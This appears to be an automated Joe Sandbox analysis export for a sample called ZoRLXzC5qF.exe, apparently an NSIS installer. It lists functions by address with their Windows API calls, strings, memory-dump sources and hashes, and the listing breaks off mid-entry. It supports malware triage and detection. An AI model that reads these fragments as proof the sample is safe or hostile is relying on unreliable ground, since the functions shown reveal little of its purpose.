Instruction ID: 0a97e2f3c77d8a3c51360fc4da6bbcda8fc4cde0dfaec3b210e24d05d93e5961
Opcode Fuzzy Hash: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction Fuzzy Hash: 46C14872E042198BCF18DF68C4905EEB7B2BF88354F25866AD856B7380D734A942CF95

Function 00404F63 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F7B
GetDlgItem.USER32(?,00000408), ref: 00404F86
GlobalAlloc.KERNEL32(00000040,?), ref: 00404FD0
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404FE7
SetWindowLongW.USER32(?,000000FC,00405570), ref: 00405000
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00405014
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00405026
SendMessageW.USER32(?,00001109,00000002), ref: 0040503C
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405048
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 0040505A
DeleteObject.GDI32(00000000), ref: 0040505D
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405088
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405094
SendMessageW.USER32(?,00001132,00000000,?), ref: 0040512F
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040515F

Part of subcall function 0040452B: SendMessageW.USER32(00000028,?,?,00404356), ref: 00404539

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405173
GetWindowLongW.USER32(?,000000F0), ref: 004051A1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004051AF
ShowWindow.USER32(?,00000005), ref: 004051BF
SendMessageW.USER32(?,00000419,00000000,?), ref: 004052BA
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040531F
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405334
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405358
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405378
ImageList_Destroy.COMCTL32(?), ref: 0040538D
GlobalFree.KERNEL32(?), ref: 0040539D
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405416
SendMessageW.USER32(?,00001102,?,?), ref: 004054BF
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004054CE
InvalidateRect.USER32(?,00000000,?), ref: 004054F9
ShowWindow.USER32(?,00000000), ref: 00405547
GetDlgItem.USER32(?,000003FE), ref: 00405552
ShowWindow.USER32(00000000), ref: 00405559

Strings

N, xrefs: 004051F8
, xrefs: 00405531
M, xrefs: 00405117

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 90cd5b96e7067808b838d0f88060242d92195fc86ed4621a895529849429e476
Instruction ID: 2b71226c2ce540754c325362a134889399d6c5c4637dca841463e5b600fa6882
Opcode Fuzzy Hash: 90cd5b96e7067808b838d0f88060242d92195fc86ed4621a895529849429e476
Instruction Fuzzy Hash: 8802AD70900608AFDF20DFA8DD85AAF7BB5FB45314F10817AE611BA2E1D7798A41CF58

Function 004046B5 Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 00404753
GetDlgItem.USER32(?,000003E8), ref: 00404767
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 00404784
GetSysColor.USER32(?), ref: 00404795
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004047A3
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004047B1
lstrlenW.KERNEL32(?), ref: 004047B6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004047C3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004047D8
GetDlgItem.USER32(?,0000040A), ref: 00404831
SendMessageW.USER32(00000000), ref: 00404838
GetDlgItem.USER32(?,000003E8), ref: 00404863
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004048A6
LoadCursorW.USER32(00000000,00007F02), ref: 004048B4
SetCursor.USER32(00000000), ref: 004048B7
LoadCursorW.USER32(00000000,00007F00), ref: 004048D0
SetCursor.USER32(00000000), ref: 004048D3
SendMessageW.USER32(00000111,?,00000000), ref: 00404902
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404914

Strings

Call, xrefs: 00404892
N, xrefs: 00404851
<\, xrefs: 00404811
,F@, xrefs: 004048BF

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: ,F@$<\$Call$N
API String ID: 3103080414-2713021328
Opcode ID: ffd7346a229d966f7877475afaa511d8b27e78dae7af650fbb9c2f9128a087cb
Instruction ID: ccb0ec9a7d9d767aff215416cd1a2e620de701fb5c4a8d8609e67ea5798c0c5e
Opcode Fuzzy Hash: ffd7346a229d966f7877475afaa511d8b27e78dae7af650fbb9c2f9128a087cb
Instruction Fuzzy Hash: 046192F1900209BFDB10AF64DD85EAA7B69FB84315F00853AFB05B65E0C778A951CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433700,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction ID: eca0ad76d85821e0a7fbe67f508e5060b260b918cc65b70bf06bca200ae74670
Opcode Fuzzy Hash: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction Fuzzy Hash: 2F418B71800209AFCB058FA5DE459AFBFB9FF45314F00802EF591AA1A0C738EA54DFA4

Function 004061BD Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,?,?,00406358,?,?), ref: 004061F8
GetShortPathNameW.KERNEL32(?,00430108,00000400), ref: 00406201

Part of subcall function 00405FCC: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FDC
Part of subcall function 00405FCC: lstrlenA.KERNEL32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040600E

GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 0040621E
wsprintfA.USER32 ref: 0040623C
GetFileSize.KERNEL32(00000000,00000000,00430908,C0000000,00000004,00430908,?,?,?,?,?), ref: 00406277
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406286
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004062BE
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,0042FD08,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 00406314
GlobalFree.KERNEL32(00000000), ref: 00406325
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040632C

Part of subcall function 00406067: GetFileAttributesW.KERNELBASE(00000003,004030E2,C:\Users\user\Desktop\ZoRLXzC5qF.exe,80000000,00000003), ref: 0040606B
Part of subcall function 00406067: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 0040608D

Strings

[Rename], xrefs: 004062A6, 004062B8
%ls=%ls, xrefs: 00406232

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction ID: 21ba76f912769f78f8e3df01d85e3e27af82f360ac84a16f7af8f01611abcd2b
Opcode Fuzzy Hash: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction Fuzzy Hash: 66314330240325BBD2206B659D48F6B3B6CDF45708F16043EFD42B62C2DA3C982486BD

Function 00406825 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\ZoRLXzC5qF.exe",75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00406888
CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406897
CharNextW.USER32(?,"C:\Users\user\Desktop\ZoRLXzC5qF.exe",75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 0040689C
CharPrevW.USER32(?,?,75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 004068AF

Strings

"C:\Users\user\Desktop\ZoRLXzC5qF.exe", xrefs: 00406869
C:\Users\user\AppData\Local\Temp\, xrefs: 00406826
*?|<>/":, xrefs: 00406877

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\ZoRLXzC5qF.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3399949733
Opcode ID: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction ID: bedb2e6347f460b6a244a356934bd0223db9426f0f89d28790e15ec7ef568a4f
Opcode Fuzzy Hash: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction Fuzzy Hash: C911B66780221295DB303B148C40A7762A8AF59754F56C43FED86732C0E77C5C9282AD

Function 0040455D Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040457A
GetSysColor.USER32(00000000), ref: 004045B8
SetTextColor.GDI32(?,00000000), ref: 004045C4
SetBkMode.GDI32(?,?), ref: 004045D0
GetSysColor.USER32(?), ref: 004045E3
SetBkColor.GDI32(?,?), ref: 004045F3
DeleteObject.GDI32(?), ref: 0040460D
CreateBrushIndirect.GDI32(?), ref: 00404617

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction ID: 3bf72a8e0ffa46ee4049c610ab3cabbd6d50cfb344f29d4a8179c655b9565abb
Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction Fuzzy Hash: 5C2165B1500B04ABC7319F38DE08B577BF4AF41715F04892EEA96A26E0D739D944CB54

Function 00404EB1 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404ECC
GetMessagePos.USER32 ref: 00404ED4
ScreenToClient.USER32(?,?), ref: 00404EEE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404F00
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404F26

Strings

f, xrefs: 00404F02

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction ID: fe1e2a7802b6c51c8f018a14413b1ee553013da7dc16083b389f375565560bf3
Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction Fuzzy Hash: 20015E71900219BADB00DB94DD85BFEBBBCAF95711F10412BBB51B61D0C7B4AA418BA4

Function 00401E73 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E76
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E90
MulDiv.KERNEL32(00000000,00000000), ref: 00401E98
ReleaseDC.USER32(?,00000000), ref: 00401EA9
CreateFontIndirectW.GDI32(0040CDF0), ref: 00401EF8

Strings

Times New Roman, xrefs: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Times New Roman
API String ID: 3808545654-927190056
Opcode ID: d16b9d3e65f9976eb005c53eb2d4e9b3ac670e2d85412e8b50a51612330472b7
Instruction ID: 32ce691c062fdf7882ca7c79f7dc95dd78c7e40f541a0607bb82830de01dd458
Opcode Fuzzy Hash: d16b9d3e65f9976eb005c53eb2d4e9b3ac670e2d85412e8b50a51612330472b7
Instruction Fuzzy Hash: 3C017171905250EFE7005BB4EE49BDD3FA4AB19301F208A7AF142B61E2CBB904458BED

Function 00402FB8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402FD6
MulDiv.KERNEL32(0008B88A,00000064,0008C178), ref: 00403001
wsprintfW.USER32 ref: 00403011
SetWindowTextW.USER32(?,?), ref: 00403021
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403033

Strings

verifying installer: %d%%, xrefs: 0040300B

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction ID: de78d71e2fb772fb87643f85aa6fa794cb5f2d0f129fd79c7e15704eeb750e6f
Opcode Fuzzy Hash: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction Fuzzy Hash: 85014F71640208BBEF209F60DD49FEE3B79AB04344F008039FA02B51D0DBB996559B59

Function 6E9B2655 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6E9B12BB: GlobalAlloc.KERNELBASE(00000040,?,6E9B12DB,?,6E9B137F,00000019,6E9B11CA,-000000A0), ref: 6E9B12C5

GlobalFree.KERNEL32(?), ref: 6E9B2743
GlobalFree.KERNEL32(00000000), ref: 6E9B2778

Memory Dump Source

Source File: 00000000.00000002.1898801458.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.1898341162.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898961174.000000006E9B4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898992043.000000006E9B6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_ZoRLXzC5qF.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9f246c28bc949589a01750d767d3d1417e3336b3852ba2eed9ee16b65c012413
Instruction ID: 8e0f19ed87835922dd98141bec39d447616c7028898da201ebebf8979cd53e12
Opcode Fuzzy Hash: 9f246c28bc949589a01750d767d3d1417e3336b3852ba2eed9ee16b65c012413
Instruction Fuzzy Hash: 4631ABB1A08502EFCB168FE9C9D4C6B77BAEF87344314492DF10197220D731E81A9F66

Function 00402975 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029D6
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029F2
GlobalFree.KERNEL32(?), ref: 00402A2B
GlobalFree.KERNEL32(00000000), ref: 00402A3E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A5A
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A6D

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction ID: fd7949a1005e62e73a365a75524f2bbb059e9229dbd09bef2f8decdc6a7611be
Opcode Fuzzy Hash: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction Fuzzy Hash: FA31A271D00124BBCF21AFA5CE89D9E7E79AF45324F14423AF421762E1CB798D418FA8

Function 00405F4E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584

Part of subcall function 00405EF1: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,?,00405F65,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ZoRLXzC5qF.exe"), ref: 00405EFF
